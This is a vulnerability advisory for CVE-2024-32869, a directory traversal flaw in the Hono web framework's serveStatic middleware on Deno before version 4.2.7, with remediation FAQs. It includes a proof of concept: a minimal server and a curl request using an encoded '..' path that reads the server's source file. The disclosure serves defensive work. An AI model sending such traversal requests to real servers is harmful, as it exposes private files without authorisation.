CVE-2024-32869: Hono vulnerable to Restricted Directory Traversal in serveStatic with deno
Summary
When using serveStatic with deno, it is possible to directory traverse where main.ts is located.
My environment is configured as per this tutorial https://hono.dev/getting-started/deno
PoC
bash $ tree . ├── deno.json ├── deno.lock ├── main.ts ├── README.md └── static └── a.txt
source
jsx import { Hono } from 'https://deno.land/x/hono@v4.2.6/mod.ts' import { serveStatic } from 'https://deno.land/x/hono@v4.2.6/middleware.ts'
const app = new Hono() app.use('/static/', serveStatic({ root: './' }))
Deno.serve(app.fetch)
request
bash curl localhost:8000/static/%2e%2e/main.ts
response is content of main.ts
Impact
Unexpected files are retrieved.
Other sources
Hono is a Web application framework that provides support for any JavaScript runtime. Prior to version 4.2.7, when using serveStatic with deno, it is possible to traverse the directory where main.ts is located. This can result in retrieval of unexpected files. Version 4.2.7 contains a patch for the issue.
— NVD
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2024-32869?
CVE-2024-32869 has a medium severity level due to the potential for directory traversal.
How do I fix CVE-2024-32869?
To fix CVE-2024-32869, upgrade the hono package to version 4.2.7 or higher.
What kind of vulnerability is CVE-2024-32869?
CVE-2024-32869 is a directory traversal vulnerability that affects the serveStatic functionality in hon.
Which versions of hono are affected by CVE-2024-32869?
CVE-2024-32869 affects versions of hono prior to 4.2.7.
Can CVE-2024-32869 be exploited remotely?
Yes, CVE-2024-32869 can potentially be exploited remotely if the affected application is accessible.